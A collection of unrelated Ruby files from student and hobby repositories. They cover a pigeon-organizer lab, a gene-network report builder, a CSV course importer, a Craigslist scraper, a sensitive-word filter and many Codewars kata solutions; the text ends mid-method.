fd53814b94b3fdb2e20b0033a09d9c2b5a9660b5
|
Ruby
|
stephepush/ruby-enumerables-hash-practice-nyc-pigeon-organizer-lab-nyc04-seng-ft-041920
|
/nyc_pigeon_organizer.rb
|
UTF-8
| 964
| 3.4375
| 3
|
[
"LicenseRef-scancode-unknown-license-reference",
"LicenseRef-scancode-public-domain"
] |
permissive
|
def nyc_pigeon_organizer(data)
# write your code here!
organized_data = {} # Used to store the names of the pigeons and assign values
# Iterates through top layer of Hash
data.each do|color_gender_lives, attribute_hash|
# Iterate through middle layer of hash
attribute_hash.each do |attribute, name_array|
name_array.each do |name|
#if our new hash does not include the name, then we create the name as a key in the hash and make the value a hash ()
if organized_data[name] == nil # If this statement returns true by being false
organized_data[name] = {} # This creates a hash with a key of ["name"] and a value of an empty hash
end
if organized_data[name][color_gender_lives] == nil # Reserved for making the array if the attributes do not exist
organized_data[name][color_gender_lives] = []
end
organized_data[name][color_gender_lives] << attribute.to_s
end
end
end
return organized_data
end
| true
|
4736b1811c994e6865d253485074ecfb92243be6
|
Ruby
|
AnVales/Use-Web-APIs
|
/class_network.rb
|
UTF-8
| 14,587
| 3.3125
| 3
|
[] |
no_license
|
require './class_helper.rb'
require './class_gene_info.rb'
require 'json'
require 'rest-client'
class Network
########## CLASS ##########
# this class has one object which must be a subnetwork of Arabidopsis if the hypothesis is right
########## ATTRIBUTE ##########
# network: a hash with the direct and indirect interactions of the input genes ONLY,
# the key is a gene and the value the genes with direct and indirect interaction with this gene
# keggid_network: a hash with the Kegg id of the interactions (atribute network),
# the key is the same as in network and the value all the kegg ids
# pathwayname_network: a hash with the pathway names in Kegg of the interactions (atribute network),
# the key is the same as in network and the value all the pathways name in Kegg
# goid_network: a hash with the GO id of the interactions (atribute network),
# the key is the same as in network and the value all the GO ids
# termname_network: a hash with the term name in GO of the interactions (atribute network),
# the key is the same as in network and the value all the term names in GO
########## METHODS ##########
# rec_fillinteractions: recursive function that searches the interactions between the genes
# dfs_fillinteractions: searches the interactions between genes calling the rec_fillinteractions functions,
# fill_keggid_network: fill keggid_network attribute
# fill_pathwayname_network: fill pathwayname_network attribute
# fill_goid_network: fill goid_network attribute
# fill_termname_network: fill termname_network attribute
# self.fill_api_information: fill all the information obtained with API: keggid_network, pathwayname_network, goid_network, termname_network
########## ATTRIBUTE ##########
attr_accessor :network
attr_accessor :keggid_network
attr_accessor :pathwayname_network
attr_accessor :goid_network
attr_accessor :termname_network
########## METHODS ##########
# initialize
def initialize (params = {})
@network = params.fetch(:network, nil)
@keggid_network = params.fetch(:keggid_network, nil)
@pathwayname_network = params.fetch(:pathwayname_network, nil)
@goid_network = params.fetch(:goid_network, nil)
@termname_network = params.fetch(:termname_network, nil)
end
# rec_fillinteractions
def rec_fillinteractions(interaction_genes, input_info, gene, visited, genes_list, counter, depth_level)
# this methods needs: gene for search interaction(gene), a list with the visited genes(visited), the list where genes are stored(genes_list),
# a counter of the times that this method is executed(counter), and a variable that indicates the maximum number of times that this is executed(depth_level)
visited[gene] = true
counter = counter + 1
interaction_genes.direct_interactions[gene].each do |gen_value|
if not visited[gen_value] and counter < depth_level # only if this gene isn't visited before
if not input_info.input_genes[gen_value].nil?
genes_list << gen_value
end
rec_fillinteractions(interaction_genes, input_info, gen_value, visited,genes_list, counter, depth_level) # call rec_fillinteractions inside rec_fillinteractions
end
end
end
# dfs_fillinteractions
def dfs_fillinteractions(interaction_genes,input_info, depth_level=interaction_genes.direct_interactions.keys.length) #by default,but depth_level but it can be changed when it's executed
# It can seems to a be a huge depth, but this only allows to search each gene interactions once and it's very fast because it's a hash
@network = {}
visited = {}
interaction_genes.direct_interactions.each do |key, value|
if not input_info.input_genes[key].nil?
visited[key] = false
genes_list = []
rec_fillinteractions(interaction_genes,input_info, key, visited, genes_list, 0, depth_level) # calls rec_fillinteractions for each gene (key) with interactions (value)
@network[key] = genes_list
end
end
end
# fill_keggid_network
def fill_keggid_network(network_genes_dict)
# this needs the hash with the objects of class gene_info
@keggid_network={}
@network.each do |gen_a,gen_array|
# a list that will save kegg_id information
info_save=[]
if not network_genes_dict[gen_a].nil?
# seach kegg_id information of each gene
array_info = network_genes_dict[gen_a].kegg_id
array_info.each do |each_info|
if not each_info=='unknown'
info_save<<each_info
end
end
gen_array.each do |gen_b|
if not network_genes_dict[gen_b].nil?
array_keggs = network_genes_dict[gen_b].kegg_id
array_keggs.each do |kegg|
if not kegg=='unknown'
info_save<<kegg
end
end
end
end
end
# if we don't have any kegg_id of this genes, set this as unknown
# if we have information, the array will be a set to delate the kegg_id that are more than one time
# when repeated kegg_id information is delete, set this to array again and save it in the hash
if not info_save.empty?
info_save_set=info_save.to_set
info_save_set=info_save_set.to_a
@keggid_network[gen_a]=info_save_set
else
@keggid_network[gen_a]=['unknown']
end
end
end
# fill_pathwayname_network
def fill_pathwayname_network(network_genes_dict)
# this needs the hash with the objects of class gene_info
@pathwayname_network={}
@network.each do |gen_a,gen_array|
# a list that will save pathway_name information
info_save=[]
if not network_genes_dict[gen_a].nil?
# seach pathway_name information of each gene
array_info = network_genes_dict[gen_a].pathway_name
array_info.each do |each_info|
if not each_info=='unknown'
info_save<<each_info
end
end
gen_array.each do |gen_b|
if not network_genes_dict[gen_b].nil?
array_pathwayname = network_genes_dict[gen_b].pathway_name
array_pathwayname.each do |pathwayname|
if not pathwayname=='unknown'
info_save<<pathwayname
end
end
end
end
end
# if we don't have any pathway_name of this genes, set this as unknown
# if we have information, the array will be a set to delate the pathway_name that are more than one time
# when repeated pathway_name information is delete, set this to array again and save it in the hash
if not info_save.empty?
info_save_set=info_save.to_set
info_save_set=info_save_set.to_a
@pathwayname_network[gen_a]=info_save_set
else
@pathwayname_network[gen_a]=['unknown']
end
end
end
# fill_goid_network
def fill_goid_network(network_genes_dict)
# this needs the hash with the objects of class gene_info
@goid_network={}
@network.each do |gen_a,gen_array|
# a list that will save go_id information
info_save=[]
if not network_genes_dict[gen_a].nil?
# seach go_id information of each gene
array_info = network_genes_dict[gen_a].go_id
array_info.each do |each_info|
if not each_info=='unknown'
info_save<<each_info
end
end
gen_array.each do |gen_b|
if not network_genes_dict[gen_b].nil?
array_goid = network_genes_dict[gen_b].go_id
array_goid.each do |goid|
if not goid=='unknown'
info_save<<goid
end
end
end
end
end
# if we don't have any go_id of this genes, set this as unknown
# if we have information, the array will be a set to delate the go_id that are more than one time
# when repeated go_id information is delete, set this to array again and save it in the hash
if not info_save.empty?
info_save_set=info_save.to_set
info_save_set=info_save_set.to_a
@goid_network[gen_a]=info_save_set
else
@goid_network[gen_a]=['unknown']
end
end
end
# fill_termname_network
def fill_termname_network(network_genes_dict)
# this needs the hash with the objects of class gene_info
@termname_network={}
@network.each do |gen_a,gen_array|
# a list that will save term_name information
info_save=[]
if not network_genes_dict[gen_a].nil?
# seach term_name information of each gene
array_info = network_genes_dict[gen_a].term_name
array_info.each do |each_info|
if not each_info=='unknown'
info_save<<each_info
end
end
gen_array.each do |gen_b|
if not network_genes_dict[gen_b].nil?
array_termname = network_genes_dict[gen_b].term_name
array_termname.each do |termname|
if not termname=='unknown'
info_save<<termname
end
end
end
end
end
# if we don't have any term_name of this genes, set this as unknown
# if we have information, the array will be a set to delate the term_name that are more than one time
# when repeated term_name information is delete, set this to array again and save it in the hash
if not info_save.empty?
info_save_set=info_save.to_set
info_save_set=info_save_set.to_a
@termname_network[gen_a]=info_save_set
else
@termname_network[gen_a]=['unknown']
end
end
end
# fill_api_information
def self.fill_api_information(network, genes_dict)
# this makes four methods at the same time, network is the object and genes_dict is a dict with objects with the API information
network.fill_keggid_network(genes_dict)
network.fill_pathwayname_network(genes_dict)
network.fill_goid_network(genes_dict)
network.fill_termname_network(genes_dict)
end
# write_report
def write_report(newfile)
File.open(newfile, "w") do |f|
i=0
# open the file and write the report with f.puts " "
f.puts "Welcome to the report of the task 2: Intensive integration using Web APIs"
@network.each do |gene_a,gene_array|
# use Helper.make_sentence to make sentences with the arrays with the information
genes_net=Helper.make_sentence(gene_array)
keggid_net=Helper.make_sentence(keggid_network[gene_a])
pathwayname_net=Helper.make_sentence(pathwayname_network[gene_a])
goid_net=Helper.make_sentence(goid_network[gene_a])
termname_net=Helper.make_sentence(termname_network[gene_a])
# filter: only puts the interactions between two or more genes
if gene_array.length>=1
f.puts
i=i+1
f.puts "Network #{i}"
f.puts "Number of genes: #{1+gene_array.length.to_i}"
if gene_array.length.to_i==1
f.puts "The genes that interact are #{gene_a} and #{genes_net}."
elsif gene_array.length.to_i>=2
f.puts "The genes that interact are #{gene_a}, #{genes_net}."
end
# write the report in singular if .length==1, in plural if .length>=2
if keggid_network[gene_a].length==1
f.puts "The genes of this network are involved in a pathway, the kegg id is #{keggid_net}."
f.puts "The name in kegg is #{pathwayname_net}."
elsif keggid_network[gene_a].length>1
f.puts "The genes of this network are involved in some pathways, kegg id are #{keggid_net}."
f.puts "The names in kegg are #{pathwayname_net}."
end
if goid_network[gene_a].length==1
f.puts "The OG id is #{goid_net}."
f.puts "The name in OG is #{termname_net}."
elsif goid_network[gene_a].length>1
f.puts "The OG ids are #{goid_net}."
f.puts "The names in OG are #{termname_net}."
end
f.puts
end
end
puts "There are #{i} networks"
end
end
end
| true
|
31d808457e681debaf2a9a23a92ce618348b3a97
|
Ruby
|
giokro/Ruby-Developement
|
/fix-ois-p2/lib/courses.rb
|
UTF-8
| 1,065
| 3.109375
| 3
|
[] |
no_license
|
# module
module Courses
require 'time'
require 'date'
require 'course'
require 'csv_importer'
require 'parse_helper'
def self.find_course(id)
course = Course.find_by(id: id)
raise "Course with id #{course_id} not found in database" unless course
course
rescue StandardError => e
warn e.message
end
def self.import_from_csv(file_name)
puts "Importing courses from #{file_name}:"
table = CsvImporter.to_table(file_name)
table.each { |item| add_new_course(item) }
puts ''
end
def self.print_all
puts 'All courses sorted by start date:'
Course.order(:start_date).each { |course| puts course.to_s }
puts ''
end
private_class_method def self.add_new_course(item)
date = ParseHelper.parse_date(item['start date dd.mm.YYYY'])
if Course.exists?(name: item['name'], start_date: date)
warn "#{item['name']} #{date} already in database. Will not add"
nil
else
Course.create(name: item['name'], start_date: date)
puts "#{item['name']} #{date} added"
end
end
end
| true
|
6ad3d06ca1dc40558495a7a08de613a73e4abdfe
|
Ruby
|
Steph0088/array-equals
|
/lib/array_equals.rb
|
UTF-8
| 361
| 3.5625
| 4
|
[] |
no_license
|
# Determines if the two input arrays have the same count of elements
# and the same integer values in the same exact order
def array_equals(array1, array2)
if array1.length == array2.length
number = array1.length
number.times do |i|
if array1[i] != array2[i]
return false
end
end
return true
end
return false
end
| true
|
ed4f9dd9581e84df82acf76473c8d59b07e5c94a
|
Ruby
|
sheleg/Projects
|
/Test projects/testRuby/test.rb
|
UTF-8
| 305
| 2.5625
| 3
|
[] |
no_license
|
require 'httparty'
require 'nokogiri'
require 'open-uri'
page = HTTParty.get("https://newyork.craigslist.org/search/pet?s=0")
doc = Nokogiri::HTML(page)
pets_array = []
tem = doc.css('.content').css('row').css('hdrlnk').map do |a|
post_name = a.text
pets_array.push(post_name)
end
puts pets_array
| true
|
f5cd24ac6288d9608851cb312d800bc9400b3715
|
Ruby
|
cbastable/japanese
|
/lib/tasks/jlpt_words_links.rake
|
UTF-8
| 1,338
| 2.578125
| 3
|
[] |
no_license
|
namespace :db do
desc "Fill database with jlpt word data"
task populate_word_links: :environment do
make_word_collections
make_word_kanjis
end
end
def make_word_collections
WordCollection.destroy_all
Collection.all.each do |collection|
data_dir = "#{Dir.pwd}/db/data/#{collection.name}/words"
Dir.glob("#{data_dir}/*.txt") do |my_text_file|
puts "working on: #{collection.name} & #{my_text_file}..."
contents = File.read("#{my_text_file}")
word = Word.find_by_word(contents)
WordCollection.create!(word_id: word.id, collection_id: collection.id)
puts "Added #{contents} to #{collection.name}"
end #Dir.glob
end #collection.all.each
end #make_word_lists
def make_word_kanjis
WordKanji.destroy_all
Collection.all.each do |collection|
collection.words.all.each do |w|
puts "wordking on: #{collection.name} | #{w.word}"
Dir.glob("db/data/#{collection.name}/*.txt") do |my_text_file|
puts "working on: #{collection.name} & #{my_text_file}..."
contents = File.read("#{my_text_file}")
kanji = Kanji.find_by_kanji(contents)
WordKanji.create!(kanji_id: kanji.id, word_id: w.id) if w.word.include? kanji.kanji
end #Dir.glob
end #collection.words.all.each
end #collection.all.each
end #make_word_lists
| true
|
8dbef678c0f1952c757a1b689cc0f8e5b888566e
|
Ruby
|
MagneticRegulus/intro_to_prog
|
/09MoreStuff/2_variable_pointers.rb
|
UTF-8
| 1,229
| 4.25
| 4
|
[] |
no_license
|
a = "hi there" # => "hi there"
b = a # => "hi there"
a = "not here" # => "not here" (reassigns variable due to "=")
# b still returns "hi there"
# diagram: https://d2aw5xe2jldque.cloudfront.net/books/ruby/images/variables_pointers1.jpg
c = "hi there" # => "hi there"
d = c # => "hi there"
c << ", Bob"# => "hi there, Bob" (mutates the caller & modified existing string)
# d now returns "hi there, Bob"
# diagram: https://d2aw5xe2jldque.cloudfront.net/books/ruby/images/variables_pointers2.jpg
# Variables are pointers to physical space in memory
x = [1, 2, 3, 3] # => [1, 2, 3, 3]
y = x # => [1, 2, 3, 3]
z = x.uniq # => [1, 2, 3] (returns only the uniq items in the array)
# x still returns [1, 2, 3, 3]
z = x.uniq! # => [1, 2, 3] (destructive)
# x now returns [1, 2, 3]
# y also returns [1, 2, 3]
def test(f)
f.map { |letter| "I like the letter: #{letter}" }
end # => :test
e = ['a', 'b', 'c']
test(e) # => ["I like the letter: a", "I like the letter: b", "I like the letter: c"]
# e => the original array
def test_b(h)
h.map! { |letter| "I like the letter: #{letter}" }
end # => :test
g = ['a', 'b', 'c']
test_b(g) # => # => ["I like the letter: a", "I like the letter: b", "I like the letter: c"]
# g => new array
| true
|
f0ea13add21295137e25655c0a0c2d59a2e77f7d
|
Ruby
|
xentek/hyperdrive
|
/spec/hyperdrive/docs_spec.rb
|
UTF-8
| 1,728
| 2.578125
| 3
|
[
"MIT"
] |
permissive
|
# encoding: utf-8
require 'spec_helper'
describe Hyperdrive::Docs do
before do
@resources = { :thing => default_resource }
@docs = Hyperdrive::Docs.new(@resources)
end
it 'generates a header with size 1 as default' do
@docs.header('Thing Resource').must_equal "\n\n# Thing Resource\n\n"
end
it 'raises an error if header size is less than 1' do
proc { @docs.header('Thing Resource', 0) }.must_raise ArgumentError
end
it 'raises an error if header size is greater than 6' do
proc { @docs.header('Thing Resource', 8) }.must_raise ArgumentError
end
it 'generates a paragraph' do
@docs.paragraph('Description of Thing Resource').must_equal "Description of Thing Resource\n\n"
end
it 'generates bold text' do
@docs.bold('name').must_equal '__name__'
end
it 'generates code formatted text' do
@docs.code('/things').must_equal '`/things`'
end
it 'generates a bullet with nest level of 1 as default' do
@docs.bullet('test').must_equal " - test\n"
end
it 'raises an error if bullet indention size is less than 1' do
proc {@docs.bullet('test', 0)}.must_raise ArgumentError
end
it 'raises an error if bullet indention size is greater than 3' do
proc {@docs.bullet('test', 4)}.must_raise ArgumentError
end
it 'generates a nested bulleted list' do
@docs.bullet('test', 2).must_equal " - test\n"
end
it 'generates a nested bullet code span' do
@docs.bullet('`/things`', 2).must_equal " - `/things`\n"
end
it 'generates nested bulleted bold text' do
@docs.bullet('__id__', 3).must_equal " - __id__\n"
end
it 'outputs a string of the completed doc' do
@docs.output.must_be_kind_of String
end
end
| true
|
2dc12d9d6342c1f0bd5ac6a09ae9f85880bf4f4d
|
Ruby
|
hakimu/roman_numerals
|
/test_app.rb
|
UTF-8
| 3,148
| 3.265625
| 3
|
[] |
no_license
|
require 'minitest/autorun'
require 'minitest/rg'
require_relative 'app'
class RomanNumeralTest < Minitest::Unit::TestCase
def test_find_roman
expected_1 = "I"
expected_5 = "V"
expected_10 = "X"
assert_equal expected_1, RomanNumeral.new(1).find_roman
assert_equal expected_5, RomanNumeral.new(5).find_roman
assert_equal expected_10, RomanNumeral.new(10).find_roman
assert_equal "VI", RomanNumeral.new(6).find_roman
assert_equal "use tens method", RomanNumeral.new(11).find_roman
assert_equal "use hundreds method", RomanNumeral.new(111).find_roman
assert_equal "use thousands method", RomanNumeral.new(1111).find_roman
end
def test_break_down_number
expected_one = [6]
expected_two = [6,6]
expected_three = [6,7,8]
expected_four = [1,2,3,4]
assert_equal expected_one, RomanNumeral.new(6).break_down_number
assert_equal expected_two, RomanNumeral.new(66).break_down_number
assert_equal expected_three, RomanNumeral.new(678).break_down_number
assert_equal expected_four, RomanNumeral.new(1234).break_down_number
end
def test_number_of_digits
assert_equal "VI", RomanNumeral.new(6).number_of_digits
assert_equal "use tens method", RomanNumeral.new(66).number_of_digits
assert_equal "use hundreds method", RomanNumeral.new(678).number_of_digits
assert_equal "use thousands method", RomanNumeral.new(1234).number_of_digits
end
def test_ones_method
assert_equal "I", RomanNumeral.new(1).ones_method
assert_equal "II", RomanNumeral.new(2).ones_method
assert_equal "III", RomanNumeral.new(3).ones_method
assert_equal "IV", RomanNumeral.new(4).ones_method
assert_equal "V", RomanNumeral.new(5).ones_method
assert_equal "VI", RomanNumeral.new(6).ones_method
assert_equal "VII", RomanNumeral.new(7).ones_method
assert_equal "VIII", RomanNumeral.new(8).ones_method
assert_equal "VIIII", RomanNumeral.new(9).ones_method
end
def test_tens_method
assert_equal "XI", RomanNumeral.new(11).tens_method
assert_equal "XII", RomanNumeral.new(12).tens_method
assert_equal "XIII", RomanNumeral.new(13).tens_method
assert_equal "XIV", RomanNumeral.new(14).tens_method
assert_equal "XV", RomanNumeral.new(15).tens_method
assert_equal "XVI", RomanNumeral.new(16).tens_method
assert_equal "XVII", RomanNumeral.new(17).tens_method
assert_equal "XVIII", RomanNumeral.new(18).tens_method
assert_equal "XVIIII", RomanNumeral.new(19).tens_method
assert_equal "XX", RomanNumeral.new(20).tens_method
assert_equal "XXI", RomanNumeral.new(21).tens_method
assert_equal "XXII", RomanNumeral.new(22).tens_method
assert_equal "XXIII", RomanNumeral.new(23).tens_method
assert_equal "XXIV", RomanNumeral.new(24).tens_method
assert_equal "XXV", RomanNumeral.new(25).tens_method
assert_equal "XXVI", RomanNumeral.new(26).tens_method
assert_equal "XXVII", RomanNumeral.new(27).tens_method
assert_equal "XXVIII", RomanNumeral.new(28).tens_method
assert_equal "XXVIIII", RomanNumeral.new(29).tens_method
assert_equal "XXX", RomanNumeral.new(30).tens_method
end
end
| true
|
5959f2a88de730413b6fa5fc5bc0370d417a0ea8
|
Ruby
|
tian-xiaobo/filter_word
|
/lib/filter_word/rseg.rb
|
UTF-8
| 3,484
| 2.625
| 3
|
[
"MIT"
] |
permissive
|
# encoding: utf-8
require 'singleton'
require 'net/http'
require 'yaml'
require File.join(File.dirname(__FILE__), 'engines/engine')
require File.join(File.dirname(__FILE__), 'engines/dict')
require File.join(File.dirname(__FILE__), 'engines/english')
require File.join(File.dirname(__FILE__), 'filters/fullwidth')
require File.join(File.dirname(__FILE__), 'filters/symbol')
require File.join(File.dirname(__FILE__), 'filters/conjunction')
module FilterWord
class Rseg
include RsegEngine
include RsegFilter
def initialize(input, model)
@input,@model, @words = input, model, []
end
def segment
init_operate
@words = []
@input.chars.each do |origin|
char = filter(origin)
process(char, origin)
end
process(:symbol, '')
@words
end
private
def init_operate
@chinese_dictionary_path = chinese_dictionary_path
init_engines
init_filters
end
def filter(char)
result = char
@filters.each do |klass|
result = klass.filter(result)
end
result
end
def process(char, origin)
nomatch = true
word = ''
@english_dictionary ||= load_english_dictionary(english_yaml_path)
engines.each do |engine|
next unless engine.running?
match, word = engine.process(char)
if match
nomatch = false
else
word = '' if engine.class == English && !@english_dictionary.include?(word)
engine.stop
end
end
if nomatch
if word == ''
# 没切出来的就当正常的词,不输出
# @words << origin unless char == :symbol
reset_engines
else
reset_engines
@words << word if word.is_a?(String) if word.size >= 2
# 我们只需要脏词完全匹配,不需要检查下文
# reprocess(word) if word.is_a?(Array)
# re-process current char
process(char, origin)
end
end
end
def reprocess(word)
last = word.pop
word.each do |char|
process(char, char)
end
process(:symbol, :symbol) # 把词加进来
process(last, last) # 继续分析词的最后一个字符
end
def reset_engines
engines.each do |engine|
engine.run
end
end
def engines=(engines)
@engines ||= engines
end
def engines
@engines
end
def init_filters
@filters = [Fullwidth, Symbol]
end
def init_engines
@engines ||= [Dict, English].map do |engine_klass|
if engine_klass == Dict
engine_klass.new do
@dict_path = @chinese_dictionary_path
end
else
engine_klass.new
end
end
end
def load_english_dictionary(path)
begin
YAML.load(File.read(path))
rescue => e
puts e
exit
end
end
def english_yaml_path
if @model.nil?
File.join(Rails.root, 'config','filter_word','harmonious_english.yml')
else
File.join(Rails.root, 'config','filter_word',"#{@model}_harmonious_english.yml")
end
end
def chinese_dictionary_path
if @model.nil?
File.join(Rails.root, 'config','filter_word','harmonious.hash')
else
File.join(Rails.root, 'config','filter_word',"#{@model}_harmonious.hash")
end
end
end
end
| true
|
cc8f6638dafe00b0370c4ee2ad122fa1c03b1ded
|
Ruby
|
eirinikos/ruby-bites
|
/_codewars.rb
|
UTF-8
| 12,052
| 3.96875
| 4
|
[] |
no_license
|
# codewars kata: which are in?
# http://www.codewars.com/kata/which-are-in/train/ruby
def in_array(array1, array2)
string = array2.join(' ')
array1.select { |substring| string.include? substring }.sort!
end
# codewars kata: deodorant evaporator
# http://www.codewars.com/kata/deodorant-evaporator/train/ruby
def evaporator(content, evap_per_day, threshold)
days = 0
threshold_amount = threshold.fdiv(100) * content
until content < threshold_amount do
content -= evap_per_day.fdiv(100) * content
days += 1
end
days
end
# codewars kata: operations with sets
# http://www.codewars.com/kata/operations-with-sets/train/ruby
def process_2arrays(array_1, array_2)
shared = array_1 & array_2
shared_count = shared.count
array_1_unshared = array_1 - shared
array_2_unshared = array_2 - shared
count_1 = array_1_unshared.count
count_2 = array_2_unshared.count
unshared = array_1_unshared + array_2_unshared
unshared_count = unshared.count
[].push(shared_count, unshared_count, count_1, count_2)
end
# refactored...
def process_2arrays(array_1, array_2)
shared = (array_1 & array_2).count
array_1_unshared = array_1.count - shared
array_2_unshared = array_2.count - shared
unshared = array_1_unshared + array_2_unshared
[shared, unshared, array_1_unshared, array_2_unshared]
end
# codewars kata: next version
# http://www.codewars.com/kata/next-version/train/ruby
def nextVersion(version)
return version.to_i.next.to_s if !version.include? '.'
top, bottom = version.split('.', 2)
bottom = bottom.split('.').join
new_bottom = bottom.to_i.next.to_s
if new_bottom.length > bottom.length
top = top.to_i.next
new_bottom = new_bottom.chars.drop(1).join
end
[top, new_bottom.chars.join('.')].join '.'
end
# codewars kata: averages of numbers
# http://www.codewars.com/kata/averages-of-numbers/train/ruby
def averages(array)
return [] if !array.is_a? Array
averages_array = []
array.each_index do |index|
unless array[index + 1].nil?
sum = (array[index] + array[index + 1])
sum % 2 == 0 ? averages_array << sum / 2 : averages_array << sum / 2.0
end
end
averages_array
end
# codewars kata: shortest word
# http://www.codewars.com/kata/shortest-word/train/ruby
def find_short(string)
string.split.map(&:length).sort.first
end
# codewars kata: histogram - h1
# http://www.codewars.com/kata/histogram-h1/train/ruby
def histogram(results)
array = []
results.each_with_index do |rolls, index|
if rolls > 0
array.unshift("#{index + 1}|#{"#" * rolls} #{rolls}\n")
else
array.unshift("#{index + 1}|#{"#" * rolls}\n")
end
end
array.join
end
# codewars kata: number climber
# http://www.codewars.com/kata/number-climber/train/ruby
def climb(n)
array = []
until n < 1
array.push(n)
n = n / 2
end
array.reverse
end
# codewars kata: powers of 2
# http://www.codewars.com/kata/powers-of-2/train/ruby
def powers_of_two(n)
(0..n).map{ |number| 2**number }
end
# codewars kata: colour association
# http://www.codewars.com/kata/56d6b7e43e8186c228000637/train/ruby
def colour_association(array)
array.map{|pair| Hash[pair.first, pair.last]}
end
# codewars kata: rotate an array matrix
# http://www.codewars.com/kata/525a566985a9a47bc8000670/train/ruby
def rotate(matrix, direction)
if direction == "clockwise"
matrix.transpose.map{|i| i.reverse}
else
rotated = []
matrix.transpose.map{|i| i.reverse}.flatten.reverse.each_slice(matrix.size){
|a| rotated << a}
rotated
end
end
# refactored...
def rotate(matrix, direction)
if direction == "clockwise"
matrix.transpose.map(&:reverse)
else
matrix.transpose.reverse
end
end
# codewars kata: matrix addition
# http://www.codewars.com/kata/526233aefd4764272800036f/train/ruby
def matrixAddition(a, b)
c = [] << a << b
c.transpose.map{ |i| i.transpose }.map{ |s|
s.map{ |p| p.reduce(&:+)}}
end
# codewars kata: surrounding primes for a value
# http://www.codewars.com/kata/560b8d7106ede725dd0000e2/train/ruby
require 'prime'
def prime_bef_aft(num)
primes = []
Prime.each(num){ |n| primes << n }
primes.last == num ? bef_prime = primes[-2] : bef_prime = primes.last
aft_prime = Prime.first(primes.size + 1).last
[bef_prime, aft_prime]
end
# codewars kata: roman numerals helper
# http://www.codewars.com/kata/51b66044bce5799a7f000003/train/ruby
class RomanNumerals
@dict_hash = {M:1000, CM: 900, D:500, CD:400, C:100, XC:90,
L:50, XL:40, X:10, IX:9, V:5, IV:4, I:1}
def self.to_roman(int)
string_array = Array.new
crunch = lambda do |n| (int/n).times{ string_array << @dict_hash.invert[n].to_s }
int %= n
end
@dict_hash.each{ |k,v| crunch.call(v) }
string_array.join
end
def self.from_roman(string) ##### in progress #####
integer = 0
dict_array = @dict_hash.to_a
# iterate through the string
dict_array.each_index do |i|
# if dict_array[i][0].length == 1
# determine how many n times in a row the key occurs....
n = /#{dict_array[i][0]}+/.match(string).to_s.length
n.times{
integer += dict_array[i][1]
string.sub!(/#{dict_array[i][0]}+/,'')
# remove corresponding decimal place from front of string
}
end
integer
end
end
Test.assert_equals(RomanNumerals.to_roman(1000), 'M')
Test.assert_equals(RomanNumerals.from_roman('M'), 1000)
Test.assert_equals(RomanNumerals.to_roman(1111), 'MCXI')
Test.assert_equals(RomanNumerals.from_roman('MDCLXVI'), 1666)
Test.assert_equals(RomanNumerals.to_roman(2008), 'MMVIII')
Test.assert_equals(RomanNumerals.from_roman('MCMXC'), 1990)
# codewars kata: josephus survivor
# http://www.codewars.com/kata/555624b601231dc7a400017a/train/ruby
# this solution is built on this solution:
# http://www.codewars.com/kata/reviews/55561d8f01231dce9a000156/groups/5556d6c40ce7853ff3000029
def josephus_survivor(n,k)
# (1..n) people are put into the circle
items = (1..n).to_a
Array.new(n){items.rotate!(k-1).shift}.last
end
# codewars kata: validate sudoku with size n x n
# http://www.codewars.com/kata/validate-sudoku-with-size-nxn/train/ruby
# this solution is built on this solution:
# http://www.codewars.com/kata/reviews/5593733c289bb3285000000b/groups/56443537dd828c1c86000005
class Sudoku
def initialize(board = [])
@rows = board
@size = @rows.size
@root = Math.sqrt(@size)
end
def contains_all_n?(section)
(1..@size).to_a.to_set == section.to_set
end
def is_valid
# must contain n arrays, each of n length
return false if !@rows.all?{|row| row.length == @size}
blocks = @rows.map{|row| row.each_slice(@root).to_a}.transpose.flatten.each_slice(@size).to_a
sudoku_sections = @rows + @rows.transpose + blocks
sudoku_sections.all?{|section| contains_all_n?(section)}
end
end
# codewars kata: sudoku solution validator
# http://www.codewars.com/kata/sudoku-solution-validator/train/ruby
def validSolution(board)
array_of_boxes = Array.new
box = Array.new
i = 0
add_box_array = lambda do
3.times do
3.times do
row = board[i]
box.push(row[0]).push(row[1]).push(row[2])
i += 1
end
array_of_boxes << box
box = Array.new
end
end
reset_and_rotate = lambda do
i = 0
board.each{ |row| row.rotate!(3) }
end
add_reset_rotate = lambda do
add_box_array.call
reset_and_rotate.call
end
2.times {add_reset_rotate.call}
add_box_array.call
all_possible_arrays = (1..9).to_a.permutation.to_a
# each row & each column is a unique permutation of base_array
board.all?{ |row| all_possible_arrays.include?(row) } &&
board.uniq.size == 9 &&
board.transpose.all?{ |column| all_possible_arrays.include?(column) } &&
board.transpose.uniq.size == 9 &&
array_of_boxes.all? { |box| all_possible_arrays.include?(box) }
end
# codewars kata: josephus permutation
# http://www.codewars.com/kata/5550d638a99ddb113e0000a2/train/ruby
# for best solutions, see http://www.codewars.com/kata/5550d638a99ddb113e0000a2/solutions/ruby
def josephus(items,k)
new_array = []
while items.size > (k-1)
new_array << items.delete_at(k-1)
items.rotate!(k-1)
end
while items.size > 0
items.rotate!(k-1)
new_array << items.delete_at(0)
end
new_array
end
# codewars kata: word a9n (abbreviation)
# http://www.codewars.com/kata/word-a9n-abbreviation/train/ruby
class Abbreviator
def self.abbreviate(string)
string.split(%r{\b}).map{ |item|
if %r([a-zA-Z]{4,}).match(item)
item.replace("#{item[0]}#{item.size-2}#{item[-1]}")
else
item
end
}.join
end
end
# codewars kata: format a string of names
# http://www.codewars.com/kata/format-a-string-of-names-like-bart-lisa-and-maggie/train/ruby
def list(names)
array = names.map{|n| n.values}
if array.size > 2
array[0..-2].join(", ") + " & #{array[-1][0]}"
else
array.join(" & ")
end
end
# refactored...
def list(names)
array = names.map{|n| n.values}
return array.join(" & ") if array.size < 2
array[0..-2].join(", ") + " & #{array[-1][0]}"
end
# codewars kata: enigma machine (plugboard)
# http://www.codewars.com/kata/5523b97ac8f5025c45000900/train/ruby
class Plugboard
def initialize(wires="")
array = wires.split(%r{\s*})
if array.none?{|i| !("A".."Z").include?(i)} && array.size.even? && (array.size/2)<11 && array==array.uniq
# if array includes only char within "A".."Z" range
# && if array is even and has 10 or less pairs of A..Z characters, all unique
@wires = array
else
raise
end
end
def process(wire)
# @wires pairs char in even-odd index pairs: @wires[0] & @wires[1], and so on..
if wire.size > 1
"Please enter a single character."
elsif !@wires.include?(wire)
wire
elsif @wires.index(wire).even?
@wires[@wires.index(wire) + 1]
else @wires.index(wire).odd?
@wires[@wires.index(wire) - 1]
end
end
end
#refactored...
class Plugboard
def initialize(wires="")
@wires = wires
raise if @wires.size.odd? || (@wires.size/2)>10 || @wires != @wires.chars.uniq.join
end
def process(wire)
